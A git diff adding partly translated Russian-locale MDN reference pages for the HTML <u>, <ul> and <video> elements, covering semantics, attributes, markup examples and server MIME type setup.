+<p><span class="seoSummary">The HTML <strong>Unarticulated Annotation Element</strong> (<strong><code>&lt;u&gt;</code></strong>) represents a span of inline text which should be rendered in a way that indicates that it has a non-textual annotation.</span> This is rendered by default as a simple solid underline, but may be altered using CSS.</p>
+
+<div class="warning">
+<p>This element used to be called the "Underline" element in older versions of HTML, and is still sometimes misused in this way. To underline text, you should instead apply a style that includes the CSS {{cssxref("text-decoration")}} property set to <code>underline</code>.</p>
+</div>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/u.html", "tabbed-shorter")}}</div>
+
+
+
+<p>See the {{anch("Usage notes")}} section for further details on when it's appropriate to use <code>&lt;u&gt;</code> and when it isn't.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Content categories</a></th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Flow content</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">phrasing content</a>, palpable content.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted content</th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Phrasing content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Tag omission</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted parents</th>
+   <td>Any element that accepts <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">phrasing content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted ARIA roles</th>
+   <td>Any</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM interface</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Аттрибуты">Аттрибуты</h2>
+
+<p>This element only includes the <a href="/en-US/docs/Web/HTML/Global_attributes">global attributes</a>.</p>
+
+<h2 id="Использование">Использование</h2>
+
+<p>Along with other pure styling elements, the original HTML Underline (<code>&lt;u&gt;</code>) element was deprecated in HTML 4; however, <code>&lt;u&gt;</code> was restored in HTML 5 with a new, semantic, meaning: to mark text as having some form of non-textual annotation applied.</p>
+
+<div class="note">
+<p>Be careful to avoid using the <code>&lt;u&gt;</code> element with its default styling (of underlined text) in such a way as to be confused with a hyperlink, which is also underlined by default.</p>
+</div>
+
+<h3 id="Use_cases">Use cases</h3>
+
+<p>Valid use cases for the <code>&lt;u&gt;</code> element include annotating spelling errors, applying a {{interwiki("wikipedia", "proper name mark")}} to denote proper names in Chinese text, and other forms of annotation.</p>
+
+<p>You should <em>not</em> use <code>&lt;u&gt;</code> to simply underline text for presentation purposes, or to denote titles of books.</p>
+
+<h3 id="Other_elements_to_consider_using">Other elements to consider using</h3>
+
+<p>In most cases, you should use an element other than <code>&lt;u&gt;</code>, such as:</p>
+
+<ul>
+ <li>{{HTMLElement("em")}} to denote stress emphasis</li>
+ <li>{{HTMLElement("b")}} to draw attention to text</li>
+ <li>{{HTMLElement("mark")}} to mark key words or phrases</li>
+ <li>{{HTMLElement("strong")}} to indicate that text has strong importance</li>
+ <li>{{HTMLElement("cite")}} to mark the titles of books or other publications</li>
+ <li>{{HTMLElement("i")}} to denote technical terms, transliterations, thoughts, or names of vessels in Western texts</li>
+</ul>
+
+<p>To provide textual annotations (as opposed to the non-textual annotations created with <code>&lt;u&gt;</code>), use the {{HTMLElement("ruby")}} element.</p>
+
+<p>To apply an underlined appearance without any semantic meaning, use the {{cssxref("text-decoration")}} property's value <code>underline</code>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Indicating_a_spelling_error">Indicating a spelling error</h3>
+
+<p>This example uses the <code>&lt;u&gt;</code> element and some CSS to display a paragraph which includes a misspelled error, with the error indicated in the red wavy underline style which is fairly commonly used for this purpose.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;This paragraph includes a &lt;u class="spelling"&gt;wrnogly&lt;/u&gt;
+spelled word.&lt;/p&gt;</pre>
+
+<p>In the HTML, we see the use of <code>&lt;u&gt;</code> with a class, <code>spelling</code>, which is used to indicate the misspelling of the word "wrongly".</p>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">u.spelling {
+  text-decoration: red wavy underline;
+}</pre>
+
+<p>This CSS indicates that when the <code>&lt;u&gt;</code> element is styled with the class <code>spelling</code>, it should have a red wavy underline underneath its text. This is a common styling for spelling errors. Another common style can be presented using <code>red dashed underline</code>.</p>
+
+<h4 id="Result">Result</h4>
+
+<p>The result should be familiar to anyone who has used any of the more popular word processors available today.</p>
+
+<p>{{EmbedLiveSample("Indicating_a_spelling_error", 650, 80)}}</p>
+
+<h3 id="Avoiding_&lt;u>">Avoiding &lt;u&gt;</h3>
+
+<p>Most of the time, you actually don't want to use <code>&lt;u&gt;</code>. Here are some examples that show what you should do instead in several cases.</p>
+
+<h4 id="Non-semantic_underlines">Non-semantic underlines</h4>
+
+<p>To underline text without implying any semantic meaning, use a {{HTMLElement("span")}} element with the {{cssxref("text-decoration")}} property set to <code>"underline"</code>, as shown below.</p>
+
+<h5 id="HTML_2">HTML</h5>
+
+<pre class="brush: html">&lt;span class="underline"&gt;Today's Special&lt;/span&gt;
+&lt;br&gt;
+Chicken Noodle Soup With Carrots</pre>
+
+<h5 id="CSS_2">CSS</h5>
+
+<pre class="brush: css">.underline {
+  text-decoration: underline;
+}</pre>
+
+<h5 id="Result_2">Result</h5>
+
+<p>{{EmbedLiveSample("Non-semantic_underlines", 650, 80)}}</p>
+
+<h4 id="Presenting_a_book_title">Presenting a book title</h4>
+
+<div id="example-unstyled-cite">
+<p>Book titles should be presented using the {{HTMLElement("cite")}} element instead of <code>&lt;u&gt;</code> or even <code>&lt;i&gt;</code>.</p>
+
+<h5 id="HTML_3">HTML</h5>
+
+<pre class="brush: html">&lt;p&gt;The class read &lt;cite&gt;Moby Dick&lt;/cite&gt; in the first term.&lt;/p&gt;</pre>
+
+<h5 id="Result_with_default_style">Result with default style</h5>
+
+<p>{{EmbedLiveSample("example-unstyled-cite", 650, 80)}}</p>
+</div>
+
+<p>Note that the default styling for the <code>&lt;cite&gt;</code> element renders the text in italics. You can, if you wish, override that using CSS:</p>
+
+<pre class="brush: css">cite {
+  font-style: normal;
+  text-decoration: underline;
+}</pre>
+
+<h5 id="Result_with_custom_style">Result with custom style</h5>
+
+<p>{{EmbedLiveSample("Presenting_a_book_title", 650, 80)}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-u-element', '&lt;u&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-u-element', '&lt;u&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'present/graphics.html#h-15.2.1', '&lt;b&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("html.elements.u")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>The {{HTMLElement("span")}}, {{HTMLElement("i")}}, {{HTMLElement("em")}}, {{HTMLElement("b")}}, and {{HTMLElement("cite")}} elements should usuallly be used instead.</li>
+ <li>The CSS {{cssxref("text-decoration")}} property should be used for non-semantic underlining.</li>
+</ul>
diff --git a/files/ru/web/html/element/ul/index.html b/files/ru/web/html/element/ul/index.html
new file mode 100644
index 0000000000..08d5c01b00
--- /dev/null
+++ b/files/ru/web/html/element/ul/index.html
@@ -0,0 +1,186 @@
+---
+title: '<ul>: The Unordered List element'
+slug: Web/HTML/Element/ul
+translation_of: Web/HTML/Element/ul
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML-элемент <code>&lt;ul&gt;</code> </strong>используется для неупорядоченного списка - в частности для маркированного списка.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/ul.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Источник для интерактивного примера расположен в GitHub. Если вы желаете сделать вклад в интерактивную часть, распакуйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> и отправьте нам pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/HTML/Content_categories">Категории контента</a></th>
+   <td><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Guide/HTML/Content_categories#Flow_content">Основной поток</a>, и если дочерний элемент <code>&lt;ol&gt;</code> включает в себя хотя бы один элемент {{HTMLElement("li")}}, <a href="/en-US/docs/Web/Guide/HTML/Content_categories#Palpable_content">явный контент</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённое содержимое</th>
+   <td>Ноль или больше {{ HTMLElement("li") }} элементов, содержат вложенные элементы {{ HTMLElement("ol") }} или {{ HTMLElement("ul") }}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Пропуск тегов</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённые родители</th>
+   <td>Любой элемент, который принимает <a href="/en-US/docs/Web/Guide/HTML/Content_categories#Flow_content">основной поток</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённые ARIA-роли</th>
+   <td>{{ARIARole("directory")}}, {{ARIARole("group")}}, {{ARIARole("listbox")}}, {{ARIARole("menu")}}, {{ARIARole("menubar")}}, {{ARIARole("radiogroup")}}, {{ARIARole("tablist")}}, {{ARIARole("toolbar")}}, {{ARIARole("tree")}}, {{ARIARole("presentation")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM-интерфейс</th>
+   <td>{{domxref("HTMLUListElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p>Этот элемент включает <a href="https://developer.mozilla.org/ru/docs/Web/HTML/Общие_атрибуты">глобальные атрибуты</a>.</p>
+
+<dl>
+ <dt>{{ htmlattrdef("compact") }} {{Deprecated_inline}}</dt>
+ <dd>Атрибут логического значения (bool) говорит о том, что список будет представлен в более компактном стиле. Интерпретация этого атрибута зависит от {{glossary("user agent")}} и не работает со всеми браузерами.</dd>
+ <dd>
+ <div class="warning"><strong>Предупреждение:</strong> Не используйте этот атрибут, ибо он устаревший и больше не используется, используйте <a href="/en-US/docs/CSS">CSS</a>. Для схожего эффекта с <code>compact</code>, подойдёт свойство CSS {{cssxref("line-height")}} с значением <code>80%</code>.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{ htmlattrdef("type") }} {{Deprecated_inline}}</dt>
+ <dd>Этот атрибут добавляет маркеры (bullets) в список. Значения установлены под <a href="/en-US/docs/HTML3.2">HTML3.2</a> и переходными на <a href="/en-US/docs/HTML4.01">HTML 4.0/4.01</a> явлются:
+ <ul>
+  <li><code>circle</code></li>
+  <li><code>disc</code></li>
+  <li><code>square</code></li>
+ </ul>
+
+ <p>Четвёртый маркер задан в интерфейсе WebTV, но не все браузеры смогут его отобразить: <code>triangle</code>.</p>
+
+ <p>Если данный атрибут отсутсвует и если атрибут <a href="/en-US/docs/CSS">CSS</a> {{ cssxref("list-style-type") }} не присвоен к данному элементу, пользовательский агент (user agent) выберет маркер в зависимости от вложенного уровня в списке.</p>
+
+ <div class="warning"><strong>Предупреждение:</strong> Не используйте атот атрибут, ибо он устаревший; используйте свойство <a href="/en-US/docs/Web/CSS">CSS</a> {{ cssxref("list-style-type") }}.</div>
+ </dd>
+</dl>
+
+<h2 id="Заметки_об_использовании">Заметки об использовании</h2>
+
+<ul>
+ <li>Элемент <code>&lt;ul&gt;</code> используется для группировки непронумерованных элементов данных, и их последовательность в списке не нужна. Что характерно, неупорядочные списки используют маркеры, которые могут быть разных форм (в форме точки, круга или прямоугольной формы). Стиль задаётся не в HTML, а со связанным с ним CSS,  используя свойство {{ cssxref("list-style-type") }}.</li>
+ <li>Элементы <code>&lt;ul&gt;</code> и {{HTMLElement("ol")}} могут быть вложены на любом уровне. Более того, вложенные списки могут чередоваться между <code>&lt;ol&gt;</code> и <code>&lt;ul&gt;</code> без ограничений.</li>
+ <li>Элементы {{ HTMLElement("ol") }} и <code>&lt;ul&gt;</code> используются для списков. Различие лишь в том, что в элементе {{ HTMLElement("ol") }} порядок имеет значение. Согласно эмпирической закономерности (или правилу большого пальца), чтобы определить, какую маркировку использовать, попробуйте поменять порядок элементов в списке. Если суть списка меняется, то тогда подойдёт элемент {{ HTMLElement("ol") }}, в противном случае используйте <code>&lt;ul&gt;</code>.</li>
+</ul>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Простой_список">Простой список</h3>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;first item&lt;/li&gt;
+  &lt;li&gt;second item&lt;/li&gt;
+  &lt;li&gt;third item&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<p>Результат HTML кода выше:</p>
+
+<p>{{EmbedLiveSample("Simple_example", 400, 100)}}</p>
+
+<h3 id="Вложенный_список">Вложенный список</h3>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;first item&lt;/li&gt;
+  &lt;li&gt;second item
+  &lt;!-- Look, the closing &lt;/li&gt; tag is not placed here! --&gt;
+    &lt;ul&gt;
+      &lt;li&gt;second item first subitem&lt;/li&gt;
+      &lt;li&gt;second item second subitem
+      &lt;!-- Same for the second nested unordered list! --&gt;
+        &lt;ul&gt;
+          &lt;li&gt;second item second subitem first sub-subitem&lt;/li&gt;
+          &lt;li&gt;second item second subitem second sub-subitem&lt;/li&gt;
+          &lt;li&gt;second item second subitem third sub-subitem&lt;/li&gt;
+        &lt;/ul&gt;
+      &lt;/li&gt; &lt;!-- Closing &lt;/li&gt; tag for the li that
+                  contains the third unordered list --&gt;
+      &lt;li&gt;second item third subitem&lt;/li&gt;
+    &lt;/ul&gt;
+  &lt;!-- Here is the closing &lt;/li&gt; tag --&gt;
+  &lt;/li&gt;
+  &lt;li&gt;third item&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<p>Результат HTML кода выше:</p>
+
+<p>{{EmbedLiveSample("Nesting_a_list", 400, 220)}}</p>
+
+<h3 id="Упорядоченный_список_внутри_неупорядоченного_списка">Упорядоченный список внутри неупорядоченного списка</h3>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;first item&lt;/li&gt;
+  &lt;li&gt;second item
+  &lt;!-- Look, the closing &lt;/li&gt; tag is not placed here! --&gt;
+    &lt;ol&gt;
+      &lt;li&gt;second item first subitem&lt;/li&gt;
+      &lt;li&gt;second item second subitem&lt;/li&gt;
+      &lt;li&gt;second item third subitem&lt;/li&gt;
+    &lt;/ol&gt;
+  &lt;!-- Here is the closing &lt;/li&gt; tag --&gt;
+  &lt;/li&gt;
+  &lt;li&gt;third item&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<p>Результат HTML кода выше:</p>
+
+<p>{{EmbedLiveSample("Ordered_list_inside_unordered_list", 400, 150)}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-ul-element', '&lt;ul&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-ul-element', '&lt;ul&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div class="hidden">Таблица "поддержка браузерами" сгенерирована с помощью структурированных данных. Если хотите внести вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div>
+
+<p>{{Compat("html.elements.ul")}}</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>Остальные списковые HTML элементы: {{ HTMLElement("ol") }}, {{ HTMLElement("li") }}, {{ HTMLElement("menu") }} и устаревший {{ HTMLElement("dir") }};</li>
+ <li>CSS свойства, которые могут быть полезны для стилизации <code>&lt;ul&gt;</code> элементов:
+  <ul>
+   <li>свойство <a href="/en-US/docs/Web/CSS/list-style">list-style</a>, полезное для выбора способа отображения маркеров,</li>
+   <li><a href="https://wiki.developer.mozilla.org/ru/docs/Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters">CSS счётчики</a>, для более сложных вложенных списков,</li>
+   <li>свойство <a href="/en-US/docs/Web/CSS/line-height">line-height</a>, для замены убранного свойства {{ htmlattrxref("compact", "ul") }},</li>
+   <li>свойство <a href="/en-US/docs/Web/CSS/margin">margin</a>, для контроля отступа в списке.</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/ru/web/html/element/video/index.html b/files/ru/web/html/element/video/index.html
new file mode 100644
index 0000000000..f3235438bb
--- /dev/null
+++ b/files/ru/web/html/element/video/index.html
@@ -0,0 +1,380 @@
+---
+title: <video>
+slug: Web/HTML/Element/video
+translation_of: Web/HTML/Element/video
+---
+<p>{{HTMLRef}}</p>
+
+<p>Для встраивания видео контента в документ используйте <strong>элемент HTML &lt;video&gt;</strong>. Видео элемент может содержать один или несколько источников видео. Чтобы указать источник видео, необходимо использовать атрибут <strong>src</strong> или элемент {{HTMLElement("source")}}; браузер сам определит наиболее подходящий источник.</p>
+
+<p>Для просмотра списка поддерживаемых форматов, перейдите по ссылке <a href="/en-US/docs/Media_formats_supported_by_the_audio_and_video_elements">Поддерживаемые аудио и видео элементами форматы мультимедийных файлов</a>.</p>
+
+<h2 id="Контекст_Использования">Контекст Использования</h2>
+
+<ul>
+ <li>Допустимое содержимое. Если элемент имеет атрибут {{htmlattrxref("src", "video")}}: 0 или более элементов {{HTMLElement("track")}}, за которым следует прозрачный контент, который не содержит элементов мультимедиа: {{HTMLElement("audio")}} или {{HTMLElement("video")}}<br>
+  Иначе: 0 или более элементов {{HTMLElement("source")}}, за которыми следует 0 или более элементов {{HTMLElement("track")}}, затем прозрачным содержимым, которое не содержит элементы мультимедиа: {{HTMLElement("audio")}} или {{HTMLElement("video")}}.</li>
+</ul>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Content categories </a></th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Flow content</a>, содержание фраз, встроенный контент. Если имеет атрибут {{htmlattrxref("controls", "video")}}: становится интерактивным элементом с осязаемым содержанием.</td>
+  </tr>
+  <tr>
+   <th scope="row">Tag omission</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="short_text" id="result_box" lang="ru"><span class="hps">Допустимые</span> <span class="hps">родительские элементы</span></span></th>
+   <td>Любой элемент, который принимает встроенный контент.</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM интерфейс</th>
+   <td>{{domxref("HTMLVideoElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p><span style="background-color: #ffffff; color: #4d4e53; display: inline !important; float: none; font-family: open sans,arial,sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal;">Как и все HTML элементы, этот элемент поддерживает</span> <a href="/ru/docs/Web/HTML/Общие_атрибуты">глобальные атрибуты</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("autoplay")}}</dt>
+ <dd><span id="result_box" lang="ru"><span class="hps">Логический</span> <span class="hps">атрибут</span><span>;</span> <span class="hps">если указан,</span> то <span class="hps">видео</span> <span class="hps">начнет воспроизводится </span></span><span lang="ru"><span class="hps">автоматически</span><span class="hps">, как только</span> <span class="hps">это будет возможно сделать без</span> <span class="hps">остановки</span><span>, чтобы закончить</span> <span class="hps">загрузку данных</span><span>.</span></span></dd>
+ <dt>{{htmlattrdef("autobuffer")}} {{Non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Логический атрибут; если указано, видео автоматически начнет буферизацию, даже если оно не настроено на автоматический запуск. Используйте этот атрибут только тогда, когда очень вероятно, что пользователь будет смотреть видео. Видео буферизуется до тех пор, пока не заполнится кэш мультимедиа.
+ <div class="note"><strong>Примечание:</strong> несмотря на то, что в ранних версиях HTML5 атрибут <code>autobuffer</code> присутствовал, в последующих выпусках он был удален. Также он был удален из Gecko 2.0 и других браузеров, а в некоторых никогда не реализовывался. Спецификация определяет новый перечислимый атрибут <code>preload</code>, вместо <code>autobuffer</code> с другим синтаксисом. {{bug(548523)}}</div>
+ </dd>
+ <dt>{{htmlattrdef("buffered")}}</dt>
+ <dd>Атрибут для определения временных диапазонов буферизованных носителей. Этот атрибут содержит объект {{domxref("TimeRanges")}}.</dd>
+ <dt>{{htmlattrdef("controls")}}</dt>
+ <dd><span id="result_box" lang="ru"><span class="hps">Если этот атрибут</span> <span class="hps">присутствует</span><span>, тогда браузер</span> отобразит <span class="hps">элементы</span> <span class="hps">управления</span><span>, чтобы позволить</span> <span class="hps">пользователю управлять</span> <span class="hps">воспроизведением видео</span><span>, регулировать громкость</span><span class="hps">,</span> осуществлять перемотку, <span>а также</span></span><span lang="ru"> ставить на паузу и <span class="hps">возобновление воспроизведение</span><span>.</span></span></dd>
+ <dt>{{htmlattrdef("crossorigin")}}</dt>
+ <dd>This enumerated attribute indicates whether to use CORS to fetch the related image. <a href="/en-US/docs/CORS_Enabled_Image">CORS-enabled resources</a> can be reused in the {{HTMLElement("canvas")}} element without being <em>tainted</em>. The allowed values are:
+ <dl>
+  <dt>anonymous</dt>
+  <dd>Sends a  cross-origin request without a credential. In other words, it sends the <code style="font-size: 15px; background-color: rgb(245, 246, 245);">Origin:</code><span style="background-color: #f5f6f5;"> HTTP header without a </span>cookie, X.509 certificate, or performing HTTP Basic authentication. If the server does not give credentials to the origin site (by not setting the <code style="font-size: 15px;">Access-Control-Allow-Origin:</code> HTTP header), the image will be <em>tainted</em>, and its usage restricted.</dd>
+  <dt>use-credentials</dt>
+  <dd><span style="background-color: #f5f6f5;">Sends a  cross-origin request with a credential. </span><span style="background-color: #f5f6f5;">In other words, it sends the </span><code style="font-size: 15px; background-color: rgb(245, 246, 245);">Origin:</code><span style="background-color: #f5f6f5;"> HTTP header with </span>a cookie, a certificate, or performing HTTP Basic authentication. If the server does not give credentials to the origin site (through <code style="font-size: 15px;">Access-Control-Allow-Credentials:</code> HTTP header), the image will be <em>tainted</em> and its usage restricted.</dd>
+ </dl>
+ When not present, the resource is fetched without a CORS request (i.e. without sending the <code>Origin:</code> HTTP header), preventing its non-tainted used in {{HTMLElement('canvas')}} elements. If invalid, it is handled as if the enumerated keyword <strong>anonymous</strong> was used. See <a href="/en-US/docs/HTML/CORS_settings_attributes">CORS settings attributes</a> for additional information.</dd>
+ <dt>{{htmlattrdef("height")}}</dt>
+ <dd><span class="short_text" id="result_box" lang="ru"><span class="hps">Высота</span> <span class="hps">области отображения</span> <span class="hps">видео</span> <span class="hps">в</span> <span class="hps">пикселях</span><span>.</span></span></dd>
+ <dt>{{htmlattrdef("loop")}}</dt>
+ <dd><span id="result_box" lang="ru"><span class="hps">Логический</span> <span class="hps">атрибут</span><span>;</span> <span class="hps">если указан,</span> то <span class="hps">по окончанию проигрывания,</span> <span class="hps">видео</span> <span class="hps">автоматически</span> начнет воспроизведение с начала<span class="hps">.</span></span></dd>
+ <dt>{{htmlattrdef("muted")}}</dt>
+ <dd>Логический атрибут, который определяет значение по умолчания для аудио дорожки, содержащуюся в видео. <span id="result_box" lang="ru"><span class="hps">Если атрибут указан</span></span>, то аудио дорожка <span id="result_box" lang="ru"><span class="hps">воспроизводиться </span></span>не будет. З<span id="result_box" lang="ru"><span class="hps">начение</span> <span class="hps">атрибута по умолчанию</span> <span class="hps">- "ложь"</span><span>,</span> и это<span class="hps"> означает, что</span> <span class="hps">звук будет</span> <span class="hps">воспроизводиться, когда</span> <span class="hps">видео воспроизводится</span><span>.</span></span></dd>
+ <dt>{{htmlattrdef("played")}}</dt>
+ <dd>Атрибут {{domxref("TimeRanges")}}, указывающий все диапазоны воспроизводимого видео.</dd>
+ <dt>{{htmlattrdef("preload")}}</dt>
+ <dd>Этот перечислимый атрибут предназначен для того, чтобы дать подсказку браузеру о том, что, по мнению автора, приведет к лучшему пользовательскому опыту. Он может иметь одно из следующих значений:
+ <ul>
+  <li><code>none</code>: указывает, что видео не должно быть предварительно загружено.</li>
+  <li><code>metadata</code>: указывает, что предварительно загружаются метаданные видео (например, длина).</li>
+  <li><code>auto</code>: указывает, что весь видеофайл может быть загружен, даже если пользователь не должен его использовать.</li>
+  <li><em>пустая строка</em>: синоним значения <code>auto</code>.</li>
+ </ul>
+
+ <p>Если не задано, значение атрибута определяется бразуером по умолчанию (то есть, каждый браузер имеет по умолчанию значение данного атрибута). Спецификация рекомендует использовать <code>metadata</code>.</p>
+
+ <div class="note"><strong>Usage notes:</strong>
+
+ <ul>
+  <li>The <code>autoplay</code> attribute has precedence over <code>preload</code>. If <code>autoplay</code> is specified, the browser would obviously need to start downloading the video for playback.</li>
+  <li>The <span style="background-color: #f5f6f5;">specification does not force the </span>browser to follow the value of this attribute; it is a mere hint.</li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("poster")}}</dt>
+ <dd>URL-адрес, указывающий на постера, которое будет использовано, пока загружается видео или пока пользователь не нажмет на кнопку воспроизведения. Если этот атрибут не указан, ничего не отображается до тех пор, пока не будет доступен первый кадр; то первый кадр отображается как рамка постера.</dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>The URL of the video to embed. This is optional; you may instead use the {{HTMLElement("source")}} element within the video block to specify the video to embed.</dd>
+ <dt>{{htmlattrdef("width")}}</dt>
+ <dd><span class="short_text" id="result_box" lang="ru"><span class="hps">Ширина</span> <span class="hps">области отображения</span> <span class="hps">видео</span> <span class="hps">в</span> <span class="hps">пикселях</span><span>.</span></span></dd>
+</dl>
+
+<h2 id="События">События</h2>
+
+<p>The <code>&lt;video&gt;</code> element can fire many different <a href="/en-US/docs/Web/Guide/Events/Media_events">events</a>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: html">&lt;!-- Simple video example --&gt;
+&lt;video src="videofile.ogg" autoplay poster="posterimage.jpg"&gt;
+  Sorry, your browser doesn't support embedded videos,
+  but don't worry, you can &lt;a href="videofile.ogg"&gt;download it&lt;/a&gt;
+  and watch it with your favorite video player!
+&lt;/video&gt;
+
+&lt;!-- Video with subtitles --&gt;
+&lt;video src="foo.ogg"&gt;
+  &lt;track kind="subtitles" src="foo.en.vtt" srclang="en" label="English"&gt;
+  &lt;track kind="subtitles" src="foo.sv.vtt" srclang="sv" label="Svenska"&gt;
+&lt;/video&gt;
+</pre>
+
+<p>The first example plays a video, starting playback as soon as enough of the video has been received to allow playback without pausing to download more. Until the video starts playing, the image "posterimage.jpg" is displayed in its place.</p>
+
+<p>The second example allows the user to choose between different subtitles.</p>
+
+<h2 id="Multiple_Sources_Example">Multiple Sources Example</h2>
+
+<pre class="brush: html">&lt;video width="480" controls poster="https://archive.org/download/WebmVp8Vorbis/webmvp8.gif" &gt;
+  &lt;source src="https://archive.org/download/WebmVp8Vorbis/webmvp8_512kb.mp4" type="video/mp4"&gt;
+  &lt;source src="https://archive.org/download/WebmVp8Vorbis/webmvp8.ogv" type="video/ogg"&gt;
+  &lt;source src="https://archive.org/download/WebmVp8Vorbis/webmvp8.webm" type="video/webm"&gt;
+  Your browser doesn't support HTML5 video tag.
+&lt;/video&gt;</pre>
+
+<p>You can try the preceding example on <a href="http://dul.web.id/contoh-example/html/tag-element/html5-video.php">HTML5 video demo example</a> with live preview code editor.</p>
+
+<h2 id="Server_support">Server support</h2>
+
+<p>If the MIME type for the video is not set correctly on the server, the video may not show or show a gray box containing an X (if JavaScript is enabled).</p>
+
+<p>If you use <span style="background-color: #f5f6f5;">Apache Web Server</span><span style="background-color: #f5f6f5;"> to </span>serve Ogg Theora videos, you can fix this problem by adding the video file type extensions to "video/ogg" MIME type. <span style="background-color: #f5f6f5;"> The </span><span style="background-color: #f5f6f5;">most common video file type extensions are </span><span style="background-color: #f5f6f5;">".ogm</span><span style="background-color: #f5f6f5;">",</span><span style="background-color: #f5f6f5;"> ".ogv", or ".ogg"</span><span style="background-color: #f5f6f5;">. </span>To do this, edit the "mime.types" file in "/etc/apache" or use the "AddType" configuration directive in httpd.conf.</p>
+
+<pre class="eval">AddType video/ogg .ogm
+AddType video/ogg .ogv
+AddType video/ogg .ogg
+</pre>
+
+<p>If you serve your videos as WebM, you can fix this problem for the Apache Web Server by adding the extension used by your video files (".webm" is the most common one) to the MIME type "video/webm" via the "mime.types" file in "/etc/apache" or via the "AddType" configuration directive in httpd.conf.</p>
+
+<pre class="eval">AddType video/webm .webm
+</pre>
+
